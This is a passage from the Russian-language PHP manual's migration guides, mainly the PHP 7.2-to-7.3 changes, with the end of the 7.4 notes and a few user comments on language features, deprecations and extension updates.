SQLite3

Встроенная в сборке библиотека libsqlite удалена. Для сборки модуля SQLite3 теперь требуется libsqlite3 ? 3.7.4. Чтобы собрать модуль PDO_SQLite обязательно требуется libsqlite3 ? 3.5.0.

Сериализация и десериализация SQLite3, SQLite3Stmt и SQLite3Result теперь явно запрещены. Раньше сериализация экземпляров этих классов была возможна, но десериализация делала объекты неиспользуемыми для дальнейшей работы.

Нотацию @param теперь также можно использовать для обозначения параметров SQL-запроса.

Zip

Встроенная библиотека libzip удалена. Теперь обязательно наличие в системе библиотеки libzip >= 0.11, чтобы собрать модуль zip.

User Contributed Notes

santi at mola dot io 31-Jul-2020 07:54
Note for internals/extensions:

Many opcode values changed between PHP 7.3 and 7.4, so most documentation resources are outdated in that regard. You can look the definitions at Zend/zend_vm_opcodes.h in php-src. For example, ZEND_ECHO changes from 40 to 136.

While opcode changes happen in a lot of PHP versions, the change in 7.4 is quite significant.
ohcc at 163 dot com 09-Jun-2020 04:56
As of PHP 7.4, an exception thrown within the user-defined shutdown function can be caught by the user-defined exception handler.

<?php
    set_error_handler(
        function($level, $error, $file, $line){
            if(0 === error_reporting()){
                return false;
            }
            throw new ErrorException($error, -1, $level, $file, $line);
        },
        E_ALL
    );

    register_shutdown_function(function(){
        $error = error_get_last();
        if($error){
            throw new ErrorException($error['message'], -1, $error['type'], $error['file'], $error['line']);
        }
    });

    set_exception_handler(function($exception){
        // ... more code ...
    });

    require 'NotExists.php';
Florent H (Sowapps) 16-Feb-2020 07:37
This version brings an important changes with the directive zend.exception_ignore_args set to On by default.
In all stack traces, the args key is now missing.
All php frameworks have to handle this to report errors & exceptions.


Поддержка Windows

Флаги configure

configure теперь учитывает дополнительные переменные окружения CFLAGS и LDFLAGS.

Обработка CTRL

Комбинации клавиш CTRL+C и CTRL+BREAK в командной строке можно перехватить, установив функцию-обработчик с помощью sapi_windows_set_ctrl_handler().

Функции proc_open() на Windows может быть передана опция "create_process_group". Это нужно, если дочерний процесс должен обрабатывать события CTRL.

OPcache

OPcache теперь поддерживает произвольное количество отдельных кешей на каждого пользователя с помощью INI-директивы opcache.cache_id. Все процессы с одинаковым идентификатором кеша и пользователем используют один и тот же экземпляр OPcache.

stat

Улучшена реализация stat.

  • Передаётся номер индексного дескриптора (inode), который опирается на индекс файла в NTFS.
  • Номер устройства теперь исходит из серийного номера тома.

Обратите внимание, что на 64-битных системах оба значения извлекаются из системы в исходном виде. В 32-разрядных системах эти значения фиктивные, потому что могут превышать максимальное 32-разрядное целое число, разрешённое в PHP.

libsqlite3

libsqlite3 больше не компилируется статически в php_sqlite3.dll и php_pdo_sqlite.dll, но доступен как libsqlite3.dll. Обратитесь к инструкции по установке для SQLite3 и PDO_SQLITE соответственно.

User Contributed Notes

There are no user contributed notes for this page.


Миграция с PHP 7.2.x на PHP 7.3.x

Содержание

  • Новые возможности
  • Новые функции
  • Новые глобальные константы
  • Изменения, ломающие обратную совместимость
  • Функционал, объявленный устаревшим в PHP 7.3.x
  • Прочие изменения
  • Поддержка Windows

Эта новая минорная версия приносит ряд новых возможностей и несовместимостей, которые требуется протестировать перед переключением версий PHP в производственных средах.

Смотрите также руководство по миграции для версий PHP 7.0.x, 7.1.x и 7.2.x.

User Contributed Notes

There are no user contributed notes for this page.


Новые возможности

Ядро PHP

Более гибкий синтаксис Heredoc и Nowdoc

После закрывающего идентификатора в doc-строках больше не нужно ставить точку с запятой или новую строку. Кроме того, закрывающий идентификатор может быть с отступом, и в этом случае он будет удалён из всех строк в doc-строке.

Деструктурирование массива поддерживает присвоение по ссылкам

Деструктурирование массива теперь поддерживает присвоение по ссылкам с помощью синтаксиса [&$a, [$b, &$c]] = $d. То же самое поддерживается и для list().

Оператор instanceof принимает литералы

Оператор instanceof теперь поддерживает литералы в качестве первого операнда, и в этом случае результат будет всегда false.

Исключение CompileError вместо некоторых ошибок компиляции

Добавлено новое исключение CompileError, которое наследуется от ParseError. Небольшое количество ошибок компиляции теперь будет выбрасывать CompileError вместо создания фатальной ошибки. В настоящее время это влияет только на ошибки компиляции, которые могут быть созданы token_get_all() в режиме TOKEN_PARSE, но в будущем может быть преобразовано больше ошибок.

В вызовах разрешена завершающая запятая

Завершающие запятые в вызовах функций и методов теперь разрешены.

Поддержка Argon2id

С аргументом --with-password-argon2[=dir] скрипта configure теперь поддерживаются оба хеша, как Argon2i, так и Argon2id, в функциях password_hash(), password_verify(), password_get_info() и password_needs_rehash(). Пароли могут быть хешированы и проверены, используя константу PASSWORD_ARGON2ID. Поддержка обоих алгоритмов Argon2i и Argon2id в функциях семейства password_*() теперь требует, чтобы PHP был скомпилирован с библиотекой libargon2 версии ? 20161029.

Менеджер процессов FastCGI

Для настройки логирования FPM были добавлены новые опции:

log_limit
Эта глобальная опция может использоваться для установки лимита логирования для строки логирования, позволяющая записывать сообщения длиной более 1024 символов без переноса. Также исправляет различные проблемы с упаковкой (wrapping).
log_buffering
Этот глобальная опция позволяет вести экспериментальное логирование без дополнительной буферизации.
decorate_workers_output
Этот вариант пула позволяет отключить отметку вывода (output decoration) для обработчиков, когда catch_workers_output включена.

Функции BC Math

Функция bcscale() теперь также может использоваться как геттер для извлечения текущего используемого масштаба.

Облегчённый протокол доступа к каталогам (LDAP)

Была добавлена полная поддержка LDAP Controls к функциям запросов LDAP и ldap_parse_result():

  • Добавлен параметр $controls для отправки управления серверу
в функциях ldap_add(),
ldap_mod_replace(), ldap_mod_add(),
ldap_mod_del(), ldap_rename(),
ldap_compare(), ldap_delete(),
ldap_modify_batch(),
ldap_search(), ldap_list()
и ldap_read().
  • Добавлен параметр $controls для получения управления с сервера в функции ldap_parse_result().
  • Поддержка LDAP_OPT_SERVER_CONTROLS и LDAP_OPT_CLIENT_CONTROLS в функциях ldap_get_option() и ldap_set_option() была исправлена.

Функции мультибайтовых строк

Полная поддержка case-mapping и case-folding

Добавлен поддержка полного процесса преобразования регистра символов (case-mapping) и сравнение на идентичность разных регистров (case-folding). В отличие от простого case-mapping, полный case-mapping может изменить длину строки. Пример:

<?php
mb_strtoupper("Stra?e");
// Выведет STRA?E в PHP 7.2
// Выведет STRASSE в PHP 7.3
?>
Различные режимы преобразования и сравнения регистра символов доступны в функции mb_convert_case():
  • MB_CASE_LOWER (используется mb_strtolower())
  • MB_CASE_UPPER (используется mb_strtoupper())
  • MB_CASE_TITLE
  • MB_CASE_FOLD
  • MB_CASE_LOWER_SIMPLE
  • MB_CASE_UPPER_SIMPLE
  • MB_CASE_TITLE_SIMPLE
  • MB_CASE_FOLD_SIMPLE (используется нечувствительными к регистру операциями)
Выполняет только безусловный, независимый от языка, полный процесс преобразования.

Операции, нечувствительные к регистру используют case-folding

Строковые операции без учёта регистра теперь используют case-folding вместо case-mapping регистра при сравнении. Это означает, что теперь больше символов будут считаться (без учёта регистра) равными.

MB_CASE_TITLE выполняет преобразование title-case

Функция mb_convert_case() с MB_CASE_TITLE теперь выполняет преобразование title-case в зависимости от свойств Unicode, основанных на Cased и CaseIgnorable. В частности, это также улучшает обработку кавычек и апострофов.

Поддержка Unicode 11

Таблицы данных мультибайтовых строк были обновлены до Юникода версии 11.

Поддержка больших строк

Функции мультибайтовых строк теперь корректно поддерживают строки размером более 2 Гб.

Улучшение производительности

Производительность модуля мультибайтовых строк была значительно повсеместно улучшена. Самые большие улучшения в функциях преобразования регистра.

Поддержка именованных фрагментов

Функции mb_ereg_* теперь поддерживают именованные фрагменты. Соответствующие функции, такие как mb_ereg(), теперь будут возвращать именованные фрагменты как с их номером группы, так и с их именем, аналогично PCRE:

<?php
mb_ereg('(?<word>\w+)', '?', $matches);
// => [0 => "?", 1 => "?", "word" => "?"];
?>
Кроме того, функция mb_ereg_replace() теперь поддерживает обозначения \k<> и \k'' для ссылки на именованные фрагменты в заменяющей строке:
<?php
mb_ereg_replace('\s*(?<word>\w+)\s*', "_\k<word>_\k'word'_", ' foo ');
// => "_foo_foo_"
?>
\k<> и \k'' также могут использоваться для нумерованных ссылок, которые также работают с номерами групп больше 9.

Readline

В функции readline_info() добавлена поддержка параметров completion_append_character и completion_suppress_append. Эти опции доступны, только если PHP скомпилирован с библиотекой libreadline (а не libedit).

User Contributed Notes

yoander dot valdes at yahoo dot com 31-May-2019 11:34
"Trailing commas in function and method calls are now allowed" means function parameters, example:

<?php

function my1() {
        echo "xxxxxx\n";
}

function my2() {
        echo "yyyyyy\n";
}

my1(),my2(); // PHP Parse error:  syntax error

my1(,); // PHP Parse error:  syntax error

my1(1,); my2(2,); // OK

?>


Новые функции

Ядро PHP

  • array_key_first()
  • array_key_last()
  • gc_status()
  • hrtime()
  • is_countable()
  • net_get_interfaces()

Менеджер процессов FastCGI

  • fpm_get_status()

Дата и время

  • DateTime::createFromImmutable()

Вычисления над целыми числами с произвольной точностью (GNU Multiple Precision)

  • gmp_binomial()
  • gmp_kronecker()
  • gmp_lcm()
  • gmp_perfect_power()

Функции интернационализации

  • Normalizer::getRawDecomposition()
  • normalizer_get_raw_decomposition()
  • Spoofchecker::setRestrictionLevel()

Облегчённый протокол доступа к каталогам (LDAP)

  • ldap_add_ext()
  • ldap_bind_ext()
  • ldap_delete_ext()
  • ldap_exop_refresh()
  • ldap_mod_add_ext()
  • ldap_mod_replace_ext()
  • ldap_mod_del_ext()
  • ldap_rename_ext()

OpenSSL

  • openssl_pkey_derive()

Сокеты

  • socket_wsaprotocol_info_export()
  • socket_wsaprotocol_info_import()
  • socket_wsaprotocol_info_release()

User Contributed Notes

There are no user contributed notes for this page.


Новые глобальные константы

Ядро PHP

  • PASSWORD_ARGON2ID

Библиотека Client URL (cURL)

  • CURLAUTH_BEARER
  • CURLAUTH_GSSAPI
  • CURLE_WEIRD_SERVER_REPLY
  • CURLINFO_APPCONNECT_TIME_T
  • CURLINFO_CONNECT_TIME_T
  • CURLINFO_CONTENT_LENGTH_DOWNLOAD_T
  • CURLINFO_CONTENT_LENGTH_UPLOAD_T
  • CURLINFO_FILETIME_T
  • CURLINFO_HTTP_VERSION
  • CURLINFO_NAMELOOKUP_TIME_T
  • CURLINFO_PRETRANSFER_TIME_T
  • CURLINFO_PROTOCOL
  • CURLINFO_PROXY_SSL_VERIFYRESULT
  • CURLINFO_REDIRECT_TIME_T
  • CURLINFO_SCHEME
  • CURLINFO_SIZE_DOWNLOAD_T
  • CURLINFO_SIZE_UPLOAD_T
  • CURLINFO_SPEED_DOWNLOAD_T
  • CURLINFO_SPEED_UPLOAD_T
  • CURLINFO_STARTTRANSFER_TIME_T
  • CURLINFO_TOTAL_TIME_T
  • CURL_LOCK_DATA_CONNECT
  • CURL_LOCK_DATA_PSL
  • CURL_MAX_READ_SIZE
  • CURLOPT_ABSTRACT_UNIX_SOCKET
  • CURLOPT_DISALLOW_USERNAME_IN_URL
  • CURLOPT_DNS_SHUFFLE_ADDRESSES
  • CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS
  • CURLOPT_HAPROXYPROTOCOL
  • CURLOPT_KEEP_SENDING_ON_ERROR
  • CURLOPT_PRE_PROXY
  • CURLOPT_PROXY_CAINFO
  • CURLOPT_PROXY_CAPATH
  • CURLOPT_PROXY_CRLFILE
  • CURLOPT_PROXY_KEYPASSWD
  • CURLOPT_PROXY_PINNEDPUBLICKEY
  • CURLOPT_PROXY_SSLCERT
  • CURLOPT_PROXY_SSLCERTTYPE
  • CURLOPT_PROXY_SSL_CIPHER_LIST
  • CURLOPT_PROXY_SSLKEY
  • CURLOPT_PROXY_SSLKEYTYPE
  • CURLOPT_PROXY_SSL_OPTIONS
  • CURLOPT_PROXY_SSL_VERIFYHOST
  • CURLOPT_PROXY_SSL_VERIFYPEER
  • CURLOPT_PROXY_SSLVERSION
  • CURLOPT_PROXY_TLS13_CIPHERS
  • CURLOPT_PROXY_TLSAUTH_PASSWORD
  • CURLOPT_PROXY_TLSAUTH_TYPE
  • CURLOPT_PROXY_TLSAUTH_USERNAME
  • CURLOPT_REQUEST_TARGET
  • CURLOPT_SOCKS5_AUTH
  • CURLOPT_SSH_COMPRESSION
  • CURLOPT_SUPPRESS_CONNECT_HEADERS
  • CURLOPT_TIMEVALUE_LARGE
  • CURLOPT_TLS13_CIPHERS
  • CURLPROXY_HTTPS
  • CURLSSH_AUTH_GSSAPI
  • CURL_SSLVERSION_MAX_DEFAULT
  • CURL_SSLVERSION_MAX_NONE
  • CURL_SSLVERSION_MAX_TLSv1_0
  • CURL_SSLVERSION_MAX_TLSv1_1
  • CURL_SSLVERSION_MAX_TLSv1_2
  • CURL_SSLVERSION_MAX_TLSv1_3
  • CURL_SSLVERSION_TLSv1_3
  • CURL_VERSION_ALTSVC (начиная с PHP 7.3.6)
  • CURL_VERSION_ASYNCHDNS
  • CURL_VERSION_BROTLI
  • CURL_VERSION_CONV
  • CURL_VERSION_CURLDEBUG (начиная с PHP 7.3.6)
  • CURL_VERSION_DEBUG
  • CURL_VERSION_GSSAPI
  • CURL_VERSION_GSSNEGOTIATE
  • CURL_VERSION_HTTPS_PROXY
  • CURL_VERSION_IDN
  • CURL_VERSION_LARGEFILE
  • CURL_VERSION_MULTI_SSL
  • CURL_VERSION_NTLM
  • CURL_VERSION_NTLM_WB
  • CURL_VERSION_PSL (начиная с PHP 7.3.6)
  • CURL_VERSION_SPNEGO
  • CURL_VERSION_SSPI
  • CURL_VERSION_TLSAUTH_SRP

Фильтрация данных

  • FILTER_SANITIZE_ADD_SLASHES

Объектная нотация JavaScript (JSON)

  • JSON_THROW_ON_ERROR

Облегчённый протокол доступа к каталогам (LDAP)

  • LDAP_CONTROL_ASSERT
  • LDAP_CONTROL_MANAGEDSAIT
  • LDAP_CONTROL_PROXY_AUTHZ
  • LDAP_CONTROL_SUBENTRIES
  • LDAP_CONTROL_VALUESRETURNFILTER
  • LDAP_CONTROL_PRE_READ
  • LDAP_CONTROL_POST_READ
  • LDAP_CONTROL_SORTREQUEST
  • LDAP_CONTROL_SORTRESPONSE
  • LDAP_CONTROL_PAGEDRESULTS
  • LDAP_CONTROL_AUTHZID_REQUEST
  • LDAP_CONTROL_AUTHZID_RESPONSE
  • LDAP_CONTROL_SYNC
  • LDAP_CONTROL_SYNC_STATE
  • LDAP_CONTROL_SYNC_DONE
  • LDAP_CONTROL_DONTUSECOPY
  • LDAP_CONTROL_PASSWORDPOLICYREQUEST
  • LDAP_CONTROL_PASSWORDPOLICYRESPONSE
  • LDAP_CONTROL_X_INCREMENTAL_VALUES
  • LDAP_CONTROL_X_DOMAIN_SCOPE
  • LDAP_CONTROL_X_PERMISSIVE_MODIFY
  • LDAP_CONTROL_X_SEARCH_OPTIONS
  • LDAP_CONTROL_X_TREE_DELETE
  • LDAP_CONTROL_X_EXTENDED_DN
  • LDAP_CONTROL_VLVREQUEST
  • LDAP_CONTROL_VLVRESPONSE

Мультибайтовые строки

  • MB_CASE_FOLD
  • MB_CASE_LOWER_SIMPLE
  • MB_CASE_UPPER_SIMPLE
  • MB_CASE_TITLE_SIMPLE
  • MB_CASE_FOLD_SIMPLE

OpenSSL

  • STREAM_CRYPTO_PROTO_SSLv3
  • STREAM_CRYPTO_PROTO_TLSv1_0
  • STREAM_CRYPTO_PROTO_TLSv1_1
  • STREAM_CRYPTO_PROTO_TLSv1_2

PostgreSQL

  • PGSQL_DIAG_SCHEMA_NAME
  • PGSQL_DIAG_TABLE_NAME
  • PGSQL_DIAG_COLUMN_NAME
  • PGSQL_DIAG_DATATYPE_NAME
  • PGSQL_DIAG_CONSTRAINT_NAME
  • PGSQL_DIAG_SEVERITY_NONLOCALIZED

User Contributed Notes

There are no user contributed notes for this page.


Изменения, ломающие обратную совместимость

Ядро PHP

Интерпретация закрывающего идентификатора Heredoc/Nowdoc

Благодаря введению гибкого синтаксиса heredoc/nowdoc, doc-строки, содержащие закрывающие идентификаторы внутри своего тела, могут вызвать синтаксические ошибки или изменения в интерпретации. Пример:

<?php
$str = <<<FOO
abcdefg
 FOO
FOO;
?>
С отступом FOO ранее не имел особого значения. Теперь он будет интерпретироваться как конец heredoc-строки и следующий FOO; приведёт к синтаксической ошибке. Эта проблема всегда может быть решена путём выбора закрывающего идентификатора, который не используется в содержимом строки.

Генерирование предупреждения в continue, используемом в switch

Выражения continue, используемые в структурах управления потока switch теперь будет выдавать предупреждение. В PHP такие выражения continue эквиваленты break, в то время, как в других языках они ведут себя как continue 2.

<?php
while ($foo) {
switch ($bar) {
case "baz":
continue;
// Предупреждение: "continue" эквивалентен
// "break". Возможно, вы имели в виду "continue 2"?
}
}
?>

Строгая интерпретация целых строковых ключей на ArrayAccess

Доступ к массиву типа $obj["123"], где $obj реализует ArrayAccess, а "123" - это целочисленный строковый литерал, больше не приведёт к неявному преобразованию в целое число, т.е. $obj->offsetGet("123") вместо $obj->offsetGet(123). Это соответствует существующему поведению для нелитеральных значений. Поведение массивов никак не изменилось, они продолжают неявно преобразовывать целые строковые ключи в целые числа.

Статические свойства больше не разделяются присвоением по ссылке

В PHP статические свойства совместно используются наследующими классами, если статическое свойство явно не переопределено в дочернем классе. Однако из-за ошибки реализации можно было отделить статические свойства, присвоив их по ссылке. Эта лазейка была исправлена.

<?php
class Test {
public static $x = 0;
}
class Test2 extends Test { }

Test2::$x = &$x;
$x = 1;

var_dump(Test::$x, Test2::$x);
// Ранее: int(0), int(1)
// Теперь: int(1), int(1)
?>

Ссылки, возвращаемые при доступе к массиву или свойству немедленно распаковываются

Ссылки, возвращаемые доступом к массиву и свойству, теперь распаковываются как часть доступа. Это означает, что больше невозможно изменить ссылку между доступом и использованием доступного значения:

<?php
$arr = [1];
$ref =& $arr[0];
var_dump($arr[0] + ($arr[0] = 2));
// Ранее: int(4), Теперь: int(3)
?>
Это делает поведение ссылок и без ссылок согласованным. Обратите внимание, что чтение и запись значения внутри одного выражения остаётся неопределённым поведением и может измениться в будущем.

Распаковка аргумента со значением Traversable с нечисловыми ключами больше не поддерживается

Распаковка аргументов перестала работать со значением Traversable с нечисловыми ключами. Следующий код работает в PHP 5.6-7.2 по ошибке.

<?php
function foo(...$args) {
var_dump($args);
}
function gen() {
yield 1.23 => 123;
}
foo(...gen());
?>

Разное

Утилита ext_skel была полностью переработана с новыми опциями, а некоторые старые опции удалены. Теперь она написана на PHP и не имеет внешних зависимостей.

Поддержка BeOS была прекращена.

Исключения, выброшенные из-за автоматического преобразования предупреждений в исключения в режиме EH_THROW (например, некоторые исключения DateTime), больше не заполняют состояние error_get_last(). Таким образом, они теперь работают так же, как вручную выброшенные исключения.

Исключение TypeError теперь указывает на правильные типы int и bool вместо integer и boolean, соответственно.

Про неопределённые переменные, переданные в compact(), теперь будет сообщено уведомлением.

Функция getimagesize() и связанные с ней функции теперь сообщают mime-типы изображений BMP как image/bmp вместо image/x-ms-bmp, поскольку первый зарегистрирован в IANA (смотрите » RFC 7903).

Функция stream_socket_get_name() теперь возвращает адреса IPv6, заключённые в квадратные скобки. Например, будет возвращена строка "[::1]:1337" вместо "::1:1337".

Произвольной точности математика BCMath

Все предупреждения, выброшенные функциями BCMath, теперь используют обработку ошибок PHP. Раньше некоторые предупреждения были непосредственно отправлены в поток stderr.

Функции bcmul() и bcpow() теперь возвращают числа с запрошенным масштабом. Раньше возвращаемые числа могли опускать завершающие десятичные нули.

IMAP, POP3 и NNTP

Логины rsh/ssh по умолчанию отключены. Используйте imap.enable_insecure_rsh, если вы хотите включить их. Обратите внимание, что библиотека IMAP не фильтрует имена почтовых ящиков перед передачей их команде rsh/ssh, таким образом, передача ненадёжных данных этой функции с включённым rsh/ssh небезопасна.

Мультибайтовые строки

Из-за дополнительной поддержки именованных фрагментов, паттерны mb_ereg_*() с использованием именованных фрагментов будут вести себя по-разному. В частности, именованные фрагменты будут частью совпадений, а mb_ereg_replace() будет интерпретировать дополнительный синтаксис. Смотрите Именованные фрагменты для получения дополнительной информации.

Улучшенный модуль MySQL

Подготовленные запросы теперь правильно указывают на дробные секунды для столбцов DATETIME, TIME и TIMESTAMP с указателем десятичных знаков (например, TIMESTAMP(6) при использовании микросекунд). Раньше часть дробных секунд была просто опущена из возвращаемых значений.

Функции MySQL (PDO_MYSQL)

Подготовленные запросы теперь правильно указывают на дробные секунды для столбцов DATETIME, TIME и TIMESTAMP со спецификатором десятичных знаков (например, TIMESTAMP(6) при использовании микросекунд). Ранее, дробная часть секунд была просто опущена из возвращаемых значений. Обратите внимание, что это влияет только на использование PDO_MYSQL с отключённой эмуляцией подготовленных запросов (например, с использованием нативной функциональности). Запросы, использующие соединения, у которых задана опция PDO::ATTR_EMULATE_PREPARES=true (значение по умолчанию), не были затронуты данным исправлением ошибки и уже получали корректные значения долей секунды от движка.

Reflection

Экспорт объектов Reflection в строку теперь использует int) и bool) вместо integer and boolean, соответственно.

Стандартная библиотека PHP (SPL)

Если автозагрузчик SPL выбрасывает исключение, последующие автозагрузчики не будут выполняться. Раньше все автозагрузчики выполнялись, а исключения объединялись в цепочку вызовов.

SimpleXML

Математические операции, включающие объекты SimpleXML, теперь будут обрабатывать текст как целое число (int) или число с плавающей точкой (float), в зависимости от того, что является более подходящим. Ранее значения обрабатывались как целые числа (integer) без каких-либо условий.

Входящие Cookies

Начиная с PHP 7.3.23 имена входящих cookie больше не декодируются из URL-закодированной строки из соображений безопасности.

User Contributed Notes

chris at ocproducts dot com 01-May-2020 08:17
PCRE has been updated (https://wiki.php.net/rfc/pcre2-migration#backward_incompatible_changes).
The new PCRE version is stricter in some cases.


Функционал, объявленный устаревшим в PHP 7.3.x

Ядро PHP

Нечувствительные к регистру константы

Объявление регистронезависимых констант объявлено устаревшим. Передача true в качестве третьего параметра функции define() теперь сгенерирует предупреждение об устаревшей возможности. Использование нечувствительных к регистру констант в случае, когда они отличаются от объявления, также устарело.

Использование assert() внутри пространств имён

Объявление функции с именем assert() внутри пространства имён объявлено устаревшим. Функция assert() подвержена специальной обработке движком, что может привести к несогласованному поведению при определении функции в пространстве имён с тем же именем.

Поиск строк для нестрочного параметра needle

Передача нестрокового параметра needle в строковые функции поиска объявлено устаревшим. В будущем данный параметр будет интерпретироваться как строка, а не как точка кода ASCII. В зависимости от предполагаемого поведения необходимо либо явно привести параметр к строке, либо выполнить явный вызов chr(). Затронуты следующие функции:

  • strpos()
  • strrpos()
  • stripos()
  • strripos()
  • strstr()
  • strchr()
  • strrchr()
  • stristr()

Изменения в удалении тегов

Функция fgetss() и фильтр потока string.strip_tags объявлены устаревшим. Это также влияет на метод SplFileObject::fgetss() и на функцию gzgetss().

Фильтрация данных

Явное использование констант FILTER_FLAG_SCHEME_REQUIRED и FILTER_FLAG_HOST_REQUIRED теперь объявлено устаревшим; так или иначе, они подразумевают использование FILTER_VALIDATE_URL.

Обработка изображений и GD

Функция image2wbmp() объявлена устаревшей.

Функции интернационализации

Использование Normalizer::NONE вызывает предупреждение об устаревшем поведении, если PHP не скомпилирован с ICU версии ? 56.

Мультибайтовые строки

Следующие недокументированные псевдонимы mbereg_*() объявлены устаревшими. Вместо этого используйте соответствующие варианты mb_ereg_*().

  • mbregex_encoding()
  • mbereg()
  • mberegi()
  • mbereg_replace()
  • mberegi_replace()
  • mbsplit()
  • mbereg_match()
  • mbereg_search()
  • mbereg_search_pos()
  • mbereg_search_regs()
  • mbereg_search_init()
  • mbereg_search_getregs()
  • mbereg_search_getpos()
  • mbereg_search_setpos()

Функции ODBC и DB2 (PDO_ODBC)

Настройка ini-файла pdo_odbc.db2_instance_name официально объявлено устаревшим. Опция устарела в документации, начиная с PHP 5.1.1.

User Contributed Notes

There are no user contributed notes for this page.


Прочие изменения

Ядро PHP

Функция set(raw)cookie принимает аргумент $option

Функции setcookie() и setrawcookie() теперь также поддерживают следующее объявление (сигнатуру):

setcookie(string $name, string $value = "", array $options = []): bool
где $options - ассоциативный массив, который может иметь любой из ключей "expires", "path", "domain", "secure", "httponly" и "samesite".

Новые ini-директивы syslog

Следующие ini-директивы добавлены для настройки логирования, если для опции error_log установлено значение syslog:

syslog.facility
Указывает тип программы, регистрирующей сообщение.
syslog.filter
Задаёт тип фильтра для фильтрации сообщений с поддерживаемыми типами фильтров - all, no-ctrl и ascii. Начиная с PHP 7.3.8, также доступен тип raw, восстанавливающий поведение системного журнала в предыдущих версиях PHP. Этот фильтр также повлияет на вызовы syslog().
syslog.ident
Задаёт строку ident, добавляемую перед каждым сообщением.

Сборщик мусора

Улучшен сбор циклических ссылок, что может привести к значительным улучшениям производительности.

Разное

Функция var_export() теперь экспортирует объекты stdClass в качестве массива, приведённых к объекту ((object) array( ... )), вместо использования несуществующего метода stdClass::__setState().

Функция debug_zval_dump() изменена для отображения рекурсивных массивов и объектов так же, как и var_dump(). Теперь она не отображает их дважды.

Функции array_push() и array_unshift() теперь также могут быть вызваны с одним аргументом, что особенно удобно в сочетании с оператором распространения.

Интерактивный отладчик PHP

Удалены неиспользуемые константы PHPDBG_FILE, PHPDBG_METHOD, PHPDBG_LINENO и PHPDBG_FUNC.

Менеджер процессов FastCGI

Теперь также доступна функция getallheaders().

Библиотека Client URL (cURL)

Теперь требуется библиотека libcurl версии ? 7.15.5.

Фильтрация данных

FILTER_VALIDATE_FLOAT теперь также поддерживает параметр thousand, который определяет набор разрешённых символов-разделителей для тысяч. Значение по умолчанию ("',.") полностью обратно совместимо с предыдущими версиями PHP.

FILTER_SANITIZE_ADD_SLASHES был добавлен в качестве псевдонима фильтра magic_quotes (FILTER_SANITIZE_MAGIC_QUOTES). Фильтр magic_quotes подлежит удалению в будущих версиях PHP.

FTP

Режим по умолчанию изменён на binary.

Функции интернационализации

Константа Normalizer::NONE объявлена устаревшей, когда PHP скомпилирован с ICU версии ? 56.

Введена константа Normalizer::FORM_KC_CF в качестве аргумента Normalizer::normalize() для нормализации NFKC_Casefold; доступна, когда есть ICU ? 56.

Объектная нотация JavaScript (JSON)

Добавлен новый флаг JSON_THROW_ON_ERROR, который можно использовать с json_decode() или json_encode() и заставляет эти функции выбрасывать новое исключение JsonException в случае возникновения ошибки, вместо того, чтобы устанавливать глобальное состояние ошибки, которое извлекается с помощью json_last_error() и json_last_error_msg(). JSON_PARTIAL_OUTPUT_ON_ERROR имеет приоритет над JSON_THROW_ON_ERROR.

Мультибайтовые строки

Конфигурационная опция --with-libmbfl больше недоступна.

ODBC (Unified)

Поддержка ODBCRouter и Birdstep, включая ini-директиву birdstep.max_links была удалена.

OPcache

Удалена ini-директива opcache.inherited_hack. Это значение уже игнорировалось с PHP 5.3.0.

OpenSSL

Добавлены опции потока ssl min_proto_version и max_proto_version, а также соответствующие с ними константы для возможных значений протокола TLS.

Регулярные выражения (совместимые с Perl)

Модуль PCRE был обновлён до PCRE2, что может привести к незначительным изменениям в поведении (например, диапазоны символов в классах теперь интерпретируются более строго) и дополняет существующий синтаксис регулярных выражений.

Функция preg_quote() теперь также экранирует символ '#'.

Microsoft SQL Server и функции Sybase (PDO_DBLIB)

Добавлен атрибут PDO::DBLIB_ATTR_SKIP_EMPTY_ROWSETS для автоматического пропуска пустых наборов строк.

Добавлен атрибут PDO::DBLIB_ATTR_TDS_VERSION который представляет версию TDS.

Столбцы DATETIME2 теперь обрабатываются как столбцы DATETIME.

Функции SQLite (PDO_SQLITE)

Базы данных SQLite3 теперь можно открыть в режиме только для чтения, установив новый атрибут PDO::SQLITE_ATTR_OPEN_FLAGS на значение PDO::SQLITE_OPEN_READONLY.

Обработка сессий

Функция session_set_cookie_params() теперь также поддерживает следующее объявление (сигнатуру):

session_set_cookie_params(array $options): bool
где $options - ассоциативный массив, который может иметь любой из ключей "lifetime", "path", "domain", "secure", "httponly" и "samesite". Соответственно, возвращаемое значение session_get_cookie_params() теперь также имеет элемент с ключом "samesite". Кроме того, новая ini-опция session.cookie_samesite для установки по умолчанию директивы SameSite для cookies. По умолчанию используется значение "" (пустая строка), поэтому директива SameSite не задана. Может быть установлена на значение "Lax" или "Strict", которое устанавливает соответствующее значение директиве SameSite.

Tidy

Сборка вместе » tidyp теперь также поддерживается прозрачно. Поскольку tidyp не предлагает API для получения даты релиза, tidy_get_release() и tidy::getRelease() возвращает значение 'unknown' в этом случае.

XML-парсер

Возвращаемое значение callback-функции xml_set_external_entity_ref_handler() больше не игнорируется, если модуль был собран с библиотекой libxml. Ранее возвращаемое значение игнорировалось, а парсинг никогда не прекращался.

Zip

Сборка с использованием libzip, входящего в PHP, не рекомендуется, но всё же возможна путём добавления --without-libzip в конфигурацию.

Сжатие Zlib

Добавлен параметр контекста zlib/level для обёртки compress.zlib, чтобы облегчить установку желаемого уровня сжатия.

User Contributed Notes

There are no user contributed notes for this page.


Поддержка Windows

Ядро PHP

Удаление файлов, соответствующих POSIX

По умолчанию файловые дескрипторы открываются в режиме общего чтения/записи/удаления. Это эффективно сопоставляет семантику POSIX и позволяет удалять файлы с используемыми дескрипторами. Это не полностью то же самое, поскольку некоторые различия платформы по-прежнему остаются. После удаления запись filename блокируется до тех пор, пока все открытые дескрипторы к ней не будут закрыты.

User Contributed Notes

There are no user contributed notes for this page.


Миграция с PHP 7.1.x на PHP 7.2.x

Содержание

  • Новые возможности
  • Новые функции
  • Новые глобальные константы
  • Изменения, ломающие обратную совместимость
  • Функционал, объявленный устаревшим в PHP 7.2.x
  • Прочие изменения

Эта новая минорная версия приносит ряд новых возможностей и несовместимостей, которые требуется протестировать перед переключением версий PHP в производственных средах.

Смотрите также руководство по миграции для версий PHP 7.0.x и 7.1.x.

User Contributed Notes

There are no user contributed notes for this page.


Новые возможности

Новый тип object

Был введён новый тип, object, который может использоваться в передаваемых параметрах (контравариантность) и возвращаемых значениях (ковариантность) для любых объектов.

<?php

function test(object $obj) : object
{
return new SplQueue();
}

test(new stdClass());

Загрузка модуля по имени

Для подгружаемых модулей больше не требуется указание расширения файла (.so для Unix или .dll для Windows). Это допускается в файле php.ini, а также в функции dl().

Разрешено переопределение абстрактных методов

